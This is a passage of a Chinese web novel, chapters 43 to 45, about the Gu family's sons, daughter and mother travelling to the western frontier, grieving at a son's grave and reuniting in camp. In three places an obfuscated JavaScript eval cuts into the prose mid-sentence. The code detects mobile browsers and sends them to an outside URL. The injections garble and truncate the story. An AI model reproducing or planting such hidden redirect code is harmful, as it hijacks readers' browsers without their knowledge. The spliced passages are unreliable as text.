随后,顾承宇走到宋行简面前,拍了拍他的肩膀。宋行简瘦了一圈,从宋含章离家后,他每日骑马出城寻找,风吹日晒,原本清俊的面庞多了几分风霜之色。 顾承宇看着他的眼睛,收起了方才的笑意,声音低沉而认真:“有时候,无影无踪,才是最好的消息。含章那丫头命硬——挨了马蹄都没事,挨了家法也没事。她不会轻易死。放心,含章一定会回来的。” 宋行简努力笑出来,那笑容很轻很淡,却比任何时候都更用力。他看着顾承宇,把那句憋了许久的话说出口:“含章会回来。你也要平安归来——必须平安归来。” 顾承宇点了点头,目光扫过三位好友的脸,嘴角的笑容里带着一种让人安心的笃定:“未来的状元郎,静候你金榜题名的佳音。” 随后,四人几乎同时翻身上马。他们策马在官道上疾驰,马蹄翻飞,衣袍猎猎。他们如同前不久骑马踏青一样,扬起鞭子,响亮的笑声响彻云霄——仿佛这只是一次寻常的春日出游,仿佛前方等着他们的不是铁马冰河和生死未卜。 四人来到一处山坡。顾承宇猛地一夹马腹,策马沿着官道继续向前奔去,那一人一马渐渐远了,融进了晨光与尘土之中。 而王修安、洪楚离、宋行简则是调转马头,朝着山坡上而去。三人来到坡顶,勒住缰绳,坐在马背上,望着那个越来越远的黑色身影。 风吹过山坡,吹动了三人的衣袍和马鬃,蝉鸣不知疲倦地响着,像是要把所有的祝福都塞进这漫长的告别里。没有人说话,可所有人的目光都在说同一句话——你,一定要回来。 43. 顾家儿女,没有孬种 夏风吹拂马蹄疾,日落黄昏人独立。 队伍依旧在前进,粮草车队的车轮碾过官道上的黄土,发出沉闷的辘辘声,绵延数里不绝。 顾承宇□□的良驹却在一处缓坡上停了下来。那马儿打了个响鼻,前蹄轻轻刨了刨地面,似乎在等什么人。 在官道之上,响起了一阵阵急促的马蹄声。那马蹄声由远及近,节奏快而清脆,像是一颗不肯安分的心在用力地跳动。而这马蹄声,正是顾子衿□□的良驹发出的。 她趁着家人不注意的时候,悄悄溜进顾府的马厩,牵出了那匹大哥送给她的千里良驹,翻身上马,悄悄跟在顾承宇的后面,朝着日落的方向一路飞驰。 她的骑术是大哥手把手教的,虽不及顾承宇那般凌厉,却也稳稳当当,小小的身子伏在马背上,裙摆被风吹得鼓起来,像一朵逆风飞行的花。 此时夕阳正好,晚霞将西边的天空烧成了大片大片的绯红与金橙,层层叠叠地铺展开来,从深紫到橘黄,从浓烈到浅淡,美得像一幅来不及卷起的画。 顾承宇翻身下马,负手立于山坡之上。晚霞洒在他的铠甲上,将银色的甲片染成了暖金色,给他那英挺的侧脸镀上了一层柔光。他望着远方起伏的青山,给人一种独立黄昏、看尽山河起伏的寂寥之感。 疾驰的顾子衿看见了夕阳下那一道熟悉的身影——那身影她从小跟到大,从蹒跚学步时跟在后面喊“哥哥等等我”,到如今策马追了几十里路。她加快了速度,策马来到那道身影面前,翻身下马,快步走到那道身影的背后,脚步轻而坚定,恭敬地叫了一声:“哥哥。” 顾承宇转过头看着她,那张素来沉稳从容的脸上,眉宇间难得地浮现出一丝怒意。他的声音压得很低,却比任何时候都更严厉:“你的胆子太大了。若母亲知道了,会急成什么样了,你想过没有?” 顾子衿昂起头,那张平日里温柔乖巧的小脸上,此刻满是倔强。她的眼睛迎着夕阳的光,亮得像是两颗被火烧过的星星:“顾家没有胆小鬼。哥哥能去,我也能去。” 顾承宇看着这个面相温柔但眼神倔强的妹妹,忽然沉默了。片刻后,他的声音软了几分,却多了一层沉重的担忧:“你这是在母亲的心口上,又狠狠划了一道口子。战场上刀枪无眼——子衿,母亲不想再失去我们中间任何一个了。她已经失去了承明,她受不了再失去任何一个了。” 顾子衿往前走了几步,走到哥哥跟前,近得能看见他铠甲上映出的晚霞和自己在其中的倒影。 她仰起脸,用她那双清澈而坚定的眼睛望着他,一字一句地说:“哥哥,顾家军那千千万万的士兵——他们的母亲想失去他们吗?每一个阵亡将士的身后,都有一个在家门口盼着儿子归来的母亲。她们把儿子交给了战场,交给了一个她们从未见过的远方。我的母亲不想失去我,她们的母亲也不想失去她们的儿子——难道我就不配站在这里吗?”她顿了顿,声音更坚定了,“我乃将门之后,祖父、二叔、三叔、二哥,皆是沙场战死的英烈。此时山河有恙,我怎能只窝在家里?军营大夫少,人手不够,每一场仗打完都有成百上千的伤员,光靠林太医和军中的大夫,根本忙不过来。我懂药理,会缝针,会包扎,可以出一份力。我要去,我就是要去。” 顾承宇看着妹妹那坚定的眼神,沉默了很久。夕阳在他俩之间缓缓下沉。 然后,他突然笑了一下——那笑容里有无奈,有骄傲,也有一种“果然如此”的了然。他想起自己八岁时,也是这样偷偷跟在父亲的队伍后面,追了整整一天,直到父亲发现他时,他已经饿得两眼发花,却昂着头说“顾家没有胆小鬼”。是啊,顾家没有胆小鬼,将门之后怎么可以有胆小鬼? 他伸出手,拍了拍妹妹的肩膀,语气里带着一种兄长独有的宠溺和将军独有的赞许:“不愧是顾恩的女儿,不愧是我顾承宇的妹妹。赶紧上马吧,不然赶不上队伍了。”说完,他率先翻身上马,双腿一夹马腹,□□良驹便如离弦之箭般冲了出去,扬鞭疾驰,头也不回地向前奔去。 顾子衿看着哥哥那英武的背影在夕阳里越驰越远,嘴角浮起一抹微笑。她伸手抹了一把眼角还没流出来的泪——那不是难过,是终于追上了。然后她也翻身跨上骏马,扬鞭疾驰,紧紧跟在哥哥的后面。两个身影,一前一后,驰骋在苍茫的暮色里,驰向落日,驰向远方那个叫西疆的战场。 当顾承宇把妹妹带到顾大夫人的马车前时,顾大夫人怒火中烧地说了一句:“你这个死丫头,你来凑什么热闹?”说完,一把将女儿拉进马车,紧紧抱在怀里。 西疆边境,此时夏风灼灼,烈日炎炎,热浪从草原上滚滚而来,将地面的砂石都烤得滚烫。 可是,顾家军的将士们个个精神抖擞,眼神如炬。 他们在磨刀霍霍——磨刀石上溅起火星,刀刃被磨得雪亮,倒映着边关的烈日和将士们坚毅的脸庞;他们在加固城墙,一块块巨石被搬上城头,糯米灰浆混着砂土,一锤一锤地夯进墙缝;他们在各个关隘巡逻,马蹄踏过戈壁,斥候的旗语在烽火台之间传递,每一个哨位上都有一双警惕的眼睛盯着远方的地平线。 夏日毒辣的日头晒脱了他们一层又一层的皮,却晒不化他们骨子里的铁血。这里没有京城的繁花似锦,没有御书房的苦楝花香,只有风沙、烈日和永不松懈的警惕。 今年四十岁的顾恩身穿铠甲,立于最险峻的狼牙关隘之上。那关隘依山而建,地势险要,如同一颗钉子楔进西夷进犯的必经之路上。 他的手紧紧握着腰间那把不知饮了多少敌人鲜血的战刀,刀柄上缠着的牛皮已经被磨得发亮。 他两眼如炬,目光越过茫茫戈壁,望向远方那片暗流涌动的边境线,眼神里闪耀着精忠报国的光芒。 顾家,忠的不是皇帝箫衡,而是宁国,是宁国的明君。只要箫衡是明君,他顾家绝对誓死效忠,哪怕是受尽委屈——六年前被猜忌、被敲打、妹妹被禁足冷宫,他也只是默默地把这一切咽进肚子里,然后继续站在这座关隘上,寸土不让。 带着沙的风拍打着他的脸,像无数细小的刀子在割。他远眺绵延的青山——不,那不是青山,那是阵亡的顾家将士们挺起的脊梁,一排排一列列,纵使埋骨他乡也站成了山。 远处滔滔奔涌的清川河,那汹涌的波涛声是将士们杀敌时敲响的战鼓,轰隆隆地震着山谷,日夜不息。 他俯瞰脚下满是鲜花的沃野,感慨万千。这鲜花为何如此鲜艳?因为这一片热土,被无数阵亡将士的鲜血浇灌过——春来花开一茬,夏天再再开一茬,红得像是从地底下渗出来的。 远处的青山,脚下的热土,宁国的每一寸土地,都值得他顾家军用每一滴鲜血去浸润,去守护。 一身戎装、不到三十的顾典大步走上狼牙关隘的台阶,来到哥哥身边。他比顾恩小了十一岁,是顾家四兄弟中仅存的两个之一。 他的面容依旧英朗,可眉宇间已经有了边关风霜刻下的细纹。他站定后,恭敬地看着顾恩,禀报道:“大哥,这次西夷王集结了比往常更多的重兵,五部联军,来势汹汹。这一次战争,将是一场前所未有的苦战。” 顾恩转过头看着弟弟,目光平静如水,波澜不惊地问道:“怎么,怕了?” 顾典昂起头,用力拍了拍自己的胸脯,铠甲发出沉闷的回声,那声音里满是不服:“怕?咱们顾家男儿,人生中就没有这个‘怕’字!从太祖父那辈起,心里就没印过这个字!” 顾恩看着弟弟那副挺着胸脯、目视前方的模样,神色忽然有些悲伤起来。他长长地叹了一口气,那叹息声在关隘的风中被吹散了,却依然清晰可闻。 顾典看见了大哥眼里那抹藏不住的伤感。他上前一步,有些着急地问道:“大哥,您这是怎么啦?这紧要关头,您可千万别没了精神气啊——您可是顾家军的军魂。将士们看不见您眼里的光,心就慌了。” 顾恩沉默了片刻,转过头,望着那座埋葬着无数顾家将士的关山,缓缓开口:“典,父亲和母亲生了四个儿子——父亲、二弟、三弟,皆已战死疆场,埋在这片土地上了。原本四兄弟,如今,只剩下你我兄弟二人。承明也埋葬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618723|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一片土地上了,我只剩下承宇这一个儿子,再加上子衿这一个女儿;你膝下也只有承泽和子佩。”他停顿了一下,声音沉了几分,“有人,才会有一切,一个家族才会有未来。咱们宁安侯府偌大的门庭,可子嗣不丰。这一次战争结束,你就回京城去,多娶几个女人,生他一群孩子。不必再跟着我在边关吃苦了。” 顾典听了,悲从中来。大哥的话像一把钝刀,缓缓割开了他心里那些被埋在边关风沙之下的伤疤。 他想起战死的父亲——老侯爷倒在沙场上时浑身是箭,手里还攥着那面被鲜血浸透的顾家军旗;想起二哥被敌军围困时用最后一口气点燃了烽火;想起三哥为了掩护百姓撤退,被追兵的铁蹄踏碎了胸膛;想起侄子承明,那孩子才十三岁,中了流矢从马上坠下,再也没有站起来。 他吸了吸鼻子,努力让自己的声音保持平稳:“大哥不纳妾,弟弟怎敢纳妾?咱们顾家有祖训——男儿不能纳妾,女儿不能为妾。祖宗的规矩,岂能违反。”他顿了顿,换上了一副稍微轻松的语气,“再说了,女人多了也不好。您看看京城那些妻妾成群的高门大户,哪一家不是乌烟瘴气、鸡飞狗跳?我啊,有承泽他娘呢——那可是我求了整整两年才娶到的女子,她还给我生了一儿一女。我有她,就够了。” 顾恩听了,转过头看着他,目光里带着几分不依不饶的执着:“你和弟妹都还年轻。既然你不肯纳妾,那就与弟妹多生几个孩子。生他三四个,侯府里也热闹些。” 顾典笑了起来,那笑容在这苍凉的关隘上显得格外明亮。他凑近大哥,压低了声音,眼睛里闪着促狭的光:“大嫂也还年轻,大哥也还年轻。咱们哥俩比一比,看谁生得多——我可是有底气的,承泽他娘一口气给我生了俩,再来几个也不在话下。” 顾恩被弟弟这句话逗得笑了起来,摇着头说:“我老了,生不动了。只能指望承宇那小子争气,赶紧成家立业,多给侯府添几个小崽子了。” 顾典往顾恩身边又凑了凑,脸上带着几分鬼鬼祟祟的笑,声音压得更低了:“大哥可是龙筋虎骨,雄风不减当年。实在不行,弟弟我就去山中猎几头鹿来,让您喝喝鹿血——那鹿血一下肚,保准您想生多少,就生多少,比年轻人还利索。” 顾恩看着顾典,眉头一拧,嘴上骂道:“狗嘴吐不出象牙。”话音未落,他伸手朝着弟弟的脑袋就是一掌拍去,掌风凌厉,毫不留情。 顾典早就防着这一招了,低头一矮身,灵巧地躲了过去,退开两步,得意洋洋地笑着说:“我说大哥,您这一招,从我五岁用到将近三十岁了,用了整整二十多年,就不能换一换?每次都来这手,一点新意都没有。” 顾恩微微眯起眼睛,嘴角勾起一抹不易察觉的弧度:“是吗?”话音未落,他趁着顾典正自鸣得意、毫无防备的当口,猛地伸腿,朝着顾典的屁股就是狠狠一脚,力道又准又狠,正中目标。 顾典捂着屁股跳了起来,疼得龇牙咧嘴,一边蹦一边喊道:“大哥,大哥——您这也太狠了!怎么就这么喜欢踢人屁股!从小到大您踢了我没有一千次也有八百次了,弟弟都三十岁的人了您还踢!” 顾恩伸手一把揪住弟弟的耳朵,拧了半圈,语气里带着几分兄长的威严和几分只有亲兄弟之间才有的亲昵:“怎么,不服气?” 顾典赶紧歪着脑袋,顺着大哥的手劲儿踮起脚尖,连声说道,声音里带着求饶的腔调:“服气,服气,当然服气——不敢不服气!大哥您说什么就是什么,我服,我服!” 顾恩松开了手,看着弟弟捂着耳朵又揉着屁股的狼狈模样,嘴角终于浮起了一抹笑意。那笑意虽淡,却冲散了几分方才萦绕在他眉眼间的沉重和感伤。 远处清川河的涛声依旧轰鸣着,如同擂响的战鼓,提醒他们——烽火即将燃起,而他们,依然站在这里,寸步不退。 顾恩转过身,重新望向远方那片被夕阳染红的地平线,脸上的笑意缓缓收拢,目光重新变得锐利而沉静。 顾典也收起了玩笑的神色,站在哥哥身侧,并肩望着同一个方向。 44. 快去磨枪,快去加固床 顾承宇等人快马疾驰,迎着晨光出发,踏着夕阳而行,顶着星月入睡。一路上,车轮碾过黄土,马蹄踏过溪流,旌旗在风中猎猎作响,卷起了漫天风尘,也卷起了一路归心。 他们跋山涉水,穿过了中原的沃野,翻越了西北的崇山峻岭,当空气渐渐变得干燥,风沙渐渐变得粗粝,那一望无际的草原终于在天际线上铺展开来。舟车劳顿了大半个月,终于到达了西疆。 那大漠,那孤烟,那长河,那落日,又出现在了顾承宇的面前。 天地辽阔得让人眼眶发酸,群山连绵起伏,像是被风雕刻的海洋,一浪接一浪地涌向天边。 地平线上的落日硕大而浑圆,将整片戈壁都染成了金红色,远处不知谁家烽燧升起了一柱孤烟,笔直地升入高远的天空。 他深深地吸了一口这干燥而灼热的风,这是西疆的味道,是他从小闻到大的味道,是家的味道,也是战场的味道。 他看了招财一眼,招财便与两个亲卫先行离开! 马车里,顾大夫人捞起车帘。那熟悉的落日正悬在关山之上,将那座埋葬了无数顾家将士的山峦镀上了一层暗金色的光。 山脊线在天际划出一道沉默的弧线,山顶上青木苍苍,像是为那些长眠于此的将士们守灵的哨兵。 她紧紧拿着手里的千层糕——那是她亲手一层一层叠出来的,是承明小时候最爱吃的东西。 她的眼里泪花打转,手指把包裹糕点的那层布攥得发皱,在极力的忍着,不让那滴泪掉下来。 这景色太熟悉了,十八年前她刚与顾恩成婚便随他来到了西疆,那时候她还是个不谙世事的新妇,第一次见到大漠落日时被震撼得说不出话,顾恩站在她身边,指着远处的关山说,以后咱们的家就在那里。 有一晚,顾恩把她带到一处僻静的草地上,当时,天上星辰密布,光皎洁。顾恩把她轻轻推倒在草地上,褪去了她的衣衫。他们以地为床,以天为被,尽情地享受着夫妻间的鱼水之欢。就是那一晚,在那一片星空之下,她怀上了承宇和承明。 顾二夫人坐在她身旁,看着大嫂那强忍泪水的侧脸,心里酸酸的,自己的鼻尖也跟着酸了起来。 她没有说话,只是把手伸过去,轻轻覆在了大嫂的手背上。两只手交叠在那块千层糕上,一个冰凉,一个温热。 到达关山脚下时,队伍还在继续前进,马蹄声和车轮声混着风沙轰鸣而过。顾大夫人让车夫停下了车。车夫勒住缰绳,马儿打了个响鼻停了下来。她提着千层糕,掀帘下了车。 西疆的风迎面扑来,吹乱了她的鬓发,吹干了她的眼泪,也吹来了那座山上熟悉的泥土气息。她没有等任何人,也没有叫任何人,只是独自朝着关山的方向走去,朝着儿子走去。她的脚步不快,却很稳,每一步都像是在丈量她与承明之间这四年的距离。 顾承宇翻身下马,让婶婶、林太医与押送粮草的队伍继续前进,自己带着顾子衿,远远地跟在母亲身后。 他没有上前去扶,也没有开口去劝。他知道,这一刻母亲走了四年的路,必须一个人走完。 中军帐里,顾恩、顾典与副将们正立于沙盘前,进行排兵布阵。沙盘上插着密密麻麻的小旗——红色的是顾家军,黑色的是西夷联军,斥候刚刚传回的最新敌情被用朱砂标在了沙盘边缘。 众人正就着一处关隘的攻防之策争得面红耳赤,谁也没有注意到帐外的动静。 站岗放哨的胡风站在瞭望台上,远远看见了从东边来的队伍——那熟悉的旌旗,那熟悉的粮草车队,还有前方斥候挥舞的旗语。 他立马转身跑下瞭望台,脚步急促而有力,一路小跑着朝中军帐而去。 帐帘被人从外面猛地掀开,一阵风卷了进来,吹得沙盘上的小旗晃了几晃。 顾恩的贴身随从胡风快步走到顾恩面前,躬身抱拳,声音里压着几分激动:“将军,少将军、大小姐和林太医,随着粮草队伍来了。此时已进入驻地,正在往这边来。” 顾恩闻言,立即直起身体,那双素来沉稳如深潭的眼睛里闪过一丝诧异。他看着胡风,皱眉道:“你说——大小姐也来了?” 胡风点头:“是的,将军。” 得到确认的顾恩放下手里的小旗,将旗杆往沙盘上一插,嘴角压出了一道不悦的弧线,沉声道:“这个丫头片子,简直就是胡闹!西疆岂是她过家家的地方。你下去,告诉他们——等他们到了,直接让他们来中军帐。我有话要问她。” 胡风没有退下,而是往前走了半步,走到顾典身边,压低了声音,却压不住嘴角的笑意:“将军——夫人也来了。” 听到“夫人也来了”这几个字,顾典整个人像被什么东西击中了一样,先是愣了愣,然后一把紧紧拉住胡风的手臂,力道大得让胡风都往后仰了仰:“夫人真的来了?!你再说一遍——夫人真的来了?” 胡风被他摇得脑袋直晃,连忙答道:“是的,将军!斥候亲自打回的旗语,不会有错。” 顾典听了,哪里还顾得上什么排兵布阵,心思全都飞出了中军帐。他松开胡风,一双手紧紧捏在一起搓来搓去,嘴角的笑怎么压都压不住,整张脸都亮了起来,像是一个刚得了赏赐的毛头小子。 沙盘前的军师和副将们见了,开始你一言我一语地嘲笑起来。 顾典转过身,瞪圆了眼睛,指着副将们大声说道:“你们几个,夫人在身边,孩子也在身边,每晚都是夫人孩子热炕头,我呢?我一个人在这里啃了两年风沙。你们这些饱汉子中的饱汉子——你们哪里知道我过的什么日子!” 随后,他又转头看着军师薛敬,目光里带着几分“你也跑不掉”的意味:“薛大军师,你也别笑!你上上个月刚从京城回来,早就填饱了肚子,别以为我不知道。你也是饱汉子!” 爱说荤话的军师薛敬可不怵他,捋着短须慢悠悠地说道:“我说顾二将军,你今晚可得把枪磨得亮一些,把床给加固了。别届时冲锋陷阵时出了岔子,床塌了事小,丢人事大啊——咱们全军将士都听着呢。” 此话一出,帐中其他副将哄堂大笑,有人拍着沙盘的边缘笑得前仰后合,有人用胳膊肘捅了捅身边的同袍挤眉弄眼。 顾典举起手臂,用力拍了拍自己那健硕的肌肉,胸甲被拍得啪啪作响:“你们看看,本人龙筋虎骨,战无不胜!无论什么战场,都不会出岔子——不管是马上的还是床上的!” 一旁的顾恩看着顾典那得意忘形、恨不得立刻飞出军帐的模样,眉头一拧,走过去,抬起一脚,结结实实地踢在顾典的屁股上。这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其他副将见了,也开始挤眉弄眼起来。军师薛敬哪里肯放过这个机会,咳嗽了一声,一本正经地说道:“中军帐里容不下三心二意之人。将军,赶紧去磨刀吧,赶紧去加固床吧——咱们全军将士都理解,绝不拦着。再有,要不要让胡风去猎一头鹿来,喝喝鹿血!” 顾恩脸上的笑意转瞬即逝,他抬起头,用那双战场上练出来的冷眼扫了一圈军师和副将们,语气里带着几分训斥却藏不住语气的软和:“真是狗嘴里吐不出象牙。都三四十岁的人了,还爱说这些荤话,也不看看这是什么地方。还好意思啊你们——一个个的,等这仗打完了,看我怎么收拾你们。” 他说完,转头看着胡风,压低了声音吩咐道:“你去把我的军帐收拾一下,夫人喜欢干净——被褥要晒过的,茶壶里要沏新茶,把窗子打开通通风。” 胡风却没有应声,而是垂下眼帘,低声说道:“将军,夫人去了关山。” 此话一出,顾恩的心像被针扎了一般,猛地一缩。那痛感不是刀伤剑伤那种撕裂的疼,而是一种深沉的、闷钝的、从骨髓里渗出来的疼。 他脸上的笑意彻底消失了,取而代之的是一片无言的沉重。他知道她是去看承明了。她走了四年的路,去看那个躺在关山上的孩子。 其他的副将和军师听了,也瞬间收敛了脸上所有的笑容。 帐中一下子安静了下来,静得只剩下风吹过帐顶的声音和远处马嘶。他们都知道承明是怎么死的——四年前那场伏击战,敌军人多势众,承明带着一支小队掩护主力撤退,被流矢射中落马,年仅十三岁。 从那以后,每逢年节,顾恩都会一个人去关山坐很久,没人敢去打扰。 而今天,承明的娘来了。所有人都默默地低下了头,那无尽的悲痛如同一张看不见的网,将整个中军帐都笼罩了进去。 45. 淬过生死的人,才最懂温柔 清川河畔,关山之上,英木苍苍。那成片的林木笔直地挺立在山坡上,树冠相连,遮天蔽日。在苍苍的英木下,长眠着保家卫国的宁国儿郎。 在西疆这一片广袤的草原上,在这个风沙漫天、烈日灼人、冬日苦寒的地方,可是这里的山上,一年四季都是阴阴苍木。尤其是这一座关山,树木像是被英魂滋养着,长得格外茂盛,枝叶间漏下的斜阳都带着一种温柔的绿意。 此时,无风,只有斜阳! 顾大夫人提着千层糕,一步一步,来到了这一排排的坟墓之前。她的脚步很轻,像是怕惊扰了那些长眠的人。 也许是有心灵感应,也许是四年来她在无数个夜里梦见过这个地方,冥冥中有人暗中为她指路——她的脚步几乎没有犹豫,在一座坟墓前停了下来。 那座坟与周围的坟没有什么不同,一样的土丘,一样的木碑,可她就是知道,是这里。她慢慢蹲下,将千层糕放在膝边,伸出手,轻轻抚摸着墓碑。 墓碑是用坚硬的木做的,西疆的风沙磨粗了它的表面,却磨不掉上面刻着的字——“顾承明”三个字,就非常明显,每一笔每一画都像是用刀刻在她心上。 她的嘴唇忍不住颤抖起来,那蓄积了一路的泪水,那憋了整整四年的泪水,这一刻终于决堤。 她趴在坟墓之上,双手抱住那方矮矮的土丘,失声痛哭起来。那哭声不是嚎啕,而是一种压抑了太久太久之后终于崩溃的哀恸,声音从喉咙深处被撕扯出来,穿过关山的英木,飘向清川河的波涛。 她的手抓着坟上的土,指缝里嵌满了沙砾和草根,像是想要穿透这层泥土,去摸一摸儿子的脸。 顾承宇和顾子衿就站在不远处。顾承宇一手扶着妹妹的肩膀,两人静静地看着母亲那悲痛得无法自抑的模样,眼里的泪水也一滴一滴地滑落。 顾子衿用手背擦着眼泪,擦了一遍又一遍,袖子都湿透了。此时此刻,他们不知道如何去安慰母亲——说什么都太轻了,做什么都太晚了。 兴许,唯有让母亲痛快地发泄出来,才能让她把心里蓄积了四年的悲痛、思念和愧疚,通通发泄出来。 顾承宇咬着牙,把脸别了过去,不让自己的抽泣声被听见。 顾大夫人哭了很久很久,哭得嗓子都哑了,声音变成了一缕气若游丝的低唤;发髻也乱了,碎发散落在脸颊边;衣裳也在地上跪出了褶皱和泥土。 她红肿着眼睛,用双手捧了几抔黄土,一抔一抔地盖在儿子的坟墓之上。她的动作极轻极慢,像是在给熟睡的儿子掖好被角,生怕惊扰了他的好梦。 随后,她打开那个油纸包,拿出千层糕,一层一层地摆在儿子的坟墓前,每一层都摆得端端正正。 她看着墓碑,声音沙哑而温柔,像是在和儿子拉家常:“明儿,娘来看你了。娘来晚了——四年了,娘现在才来看你。你不怪娘吧?”她刚说完话,本来刚刚还无风的墓地,突然吹起了一阵风。 那风很轻很柔,拂过她的脸颊,拂过她的发丝,吹得坟墓旁的树木叶子沙沙作响,像是在替谁回答。 顾大夫人抬起头,看着那些沙沙作响的树叶,脸上浮现出一抹含着泪的笑容。她伸出双手,像是要接住什么:“明儿,你是不是听到娘的话了?如果你听到了,就再把娘头顶上这棵树的叶子摇一摇,好吗?让娘再看一次,娘就知道你在这里。” 她的话音刚落,头顶上那棵树的叶子果然又摇晃了起来。不是风吹的——因为只有那一棵树在摇,而周围其他树木的叶子却纹丝不动,像是有一只看不见的手,正在轻轻拨动着那棵树的枝条。 她见了,一边流泪一边笑着,泪水顺着笑容的弧度淌进嘴角,咸咸的。她对着墓碑说道:“明儿,娘听到了,娘看到了。我的好明儿,我的好孩子——你没有怪娘,你一直都在等娘来看你。” 不远处的顾承宇和顾子衿看见了这不可思议的一幕,都瞪大了流着泪的眼睛。 顾子衿抓住哥哥的手臂,指甲陷进了他的铠甲里,声音发颤:“哥哥,你看到了吗——是二哥,二哥在回应母亲。” 不知何时,顾恩来到了女儿和儿子的背后。他的脚步极轻,像是一头行走在戈壁上的老狼,收敛了所有的杀气与锐气。他伸出双手,一左一右,搭在儿子和女儿的肩上。那双手厚重而粗糙,掌心满是老茧,是握了几十年战刀的手。 顾承宇和顾子衿回头,发现是父亲。那双素来坚毅沉静的眼睛里,此刻倒映着不远处那座矮坟和蹲在坟前的妻子,也倒映着四年来不曾说出口的悲痛。 兄妹二人眼里的悲伤,有一部分在看到父亲的那一刻化为了喜悦。顾恩看着英武挺拔的儿子,看着温婉而倔强的女儿,不言不语,只是将一儿一女紧紧搂在怀里。 可他将一双儿女搂在怀里时,那双眼睛,却始终看着不远处那个守在另一个儿子坟墓前的女人。他的妻子,他的孩子们的娘。 顾大夫人站起来,用手背擦了擦眼角,视线扫过儿子坟墓旁边那一座座墓碑——有的刻着名字,有的没有,有的写得工整,有的只是歪歪扭扭地描了几个字,一看就是同袍用刀尖匆忙刻下的。 她又把视线放到更远处,那一排排、一列列的坟墓,从山脚一直排到山腰,像是列队肃立的将士,永远地站成了一道沉默的防线。 她忽然想到——这一排排的坟墓,又是谁的儿子?谁的丈夫?谁的兄弟?谁的未亡人的心头血?她可以千里迢迢来到这里看望自己的儿子,可其他母亲呢?那些远在中原、远在江南、远在四面八方的母亲们,她们能来这里看望自己的儿子吗?她们甚至不知道自己的孩子埋在哪一座山下、哪一棵树旁。 想到此处,那刚刚止住的泪水再次夺眶而出。她站在儿子的坟前,为所有埋在这座山上的、无人来认的、有人日夜牵挂的孩子们,深深地鞠了一躬。 顾恩慢慢地走到她的身后。他的脚步踩在落叶上,发出轻微的沙沙声。她没有回头看,却已经感知到了丈夫的到来——那是十八年来刻进骨子里的默契,是风沙与烽火也磨不掉的熟悉。她轻声说:“夫君,刚才明儿跟我说话了。” 顾恩将一只手搭在爱妻的肩上,那力道很轻,却比任何拥抱都更沉。他的声音沙哑而低缓,像是在安慰她,也像是在安慰自己:“夫人,为夫知道。我都看到了——明儿是个好孩子,他从来都舍不得让你难过。”他顿了顿,抬头看了看天色,西疆的日头已经完全沉入了地平线,天边只剩最后一道暗紫色的余光,“天色黑下来了。为夫带你回去,好吗?” 顾大夫人微微侧过头,低声说:“可是我,已经没了力气了。”四年的悲痛,一日的爆发,耗尽了她所有的力气,她现在连站都快站不住了。 顾恩说:“我抱你回去。” 顾大夫人转过身,抬起头,认真地看着丈夫。篝火的光从山脚下隐隐传来,映在丈夫那张被风沙侵袭了多年的脸上——那脸上添了新的伤疤,眼角也多了几道深深的纹路,可那双眼睛,还是十八年前在花轿前掀开盖头时的那双眼睛,看向她时,依然有少年时的温柔。她的目光从丈夫的脸上滑到他的胸膛,然后轻轻地说了一个字:“好。” 随后,顾恩弯下腰,将妻子稳稳地抱了起来。她自然而然地靠进他的胸口,将头轻轻地倚在他的肩上,一只手搭在他的后背。他转身,迈开脚步,朝着驻地的方向走去。他的步伐不快,很稳。 顾承宇和顾子衿远远地跟在后面。夜色已经漫上来了,篝火在前方亮着。两人放慢了脚步,刻意拉开了距离。此时此刻,他们不想去打扰父亲和母亲——这对两年没有见的夫妻,有太多的话要说,也有太多的沉默需要彼此来填满。 驻地之中,篝火次第亮起。橘红色的火光映着将士们的脸,也映着那些粗糙的帐篷和飘扬的旌旗。伙头军正在大锅前忙活,炊烟混着马粪和干草的气息在营地上空飘荡。 顾典的军帐周围,静得不寻常。顾典的贴身随从阿牛早就悄悄撤走了军帐附近所有站岗放哨的士兵,他自己也跑到了很远的地方,背对着军帐,抱着膝盖坐在地上,耳朵里塞了两团碎布,抬头数着天上的星星。 军帐里,没有点燃烛火。只有月光从帐顶的缝隙里漏下来,在地面上铺了一层薄薄的银白。那铺了一地的,是凌乱的衣衫——铠甲、外袍、中衣、腰带,从帐门口一路散落到床边。 床上,顾典正在冲锋陷阵,顾二夫人在娇声喘息。两年未见的年轻夫妻,那身体如同干柴烈火,一碰便迅速燃烧。 这火一旦烧起来,短时间内绝不会熄灭。帐外远处站岗的哨兵们,不约而同地把目光投向了更远的地方,脸上带着心照不宣的笑意。 顾恩抱着妻子走进了自己的军帐。胡风早已识趣地把军帐周围的哨兵都撤走了,自己也跑到不远处的土坡上,背对着军帐坐下,手里拿了一根草茎叼在嘴里,开始认认真真地数蚂蚁。 军帐里被胡风收拾得干干净净——被褥是新晒过的,带着阳光的味道;桌上摆着几碟子简单的饭菜,还冒着微弱的余温;角落里点了一盏油灯,火苗在铜盘里安静地燃着。顾恩把妻子放在桌前的凳子上,温声道:“先吃饭。” 顾大夫人看着饭菜——一碟子酱牛肉,一碗热汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618725|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 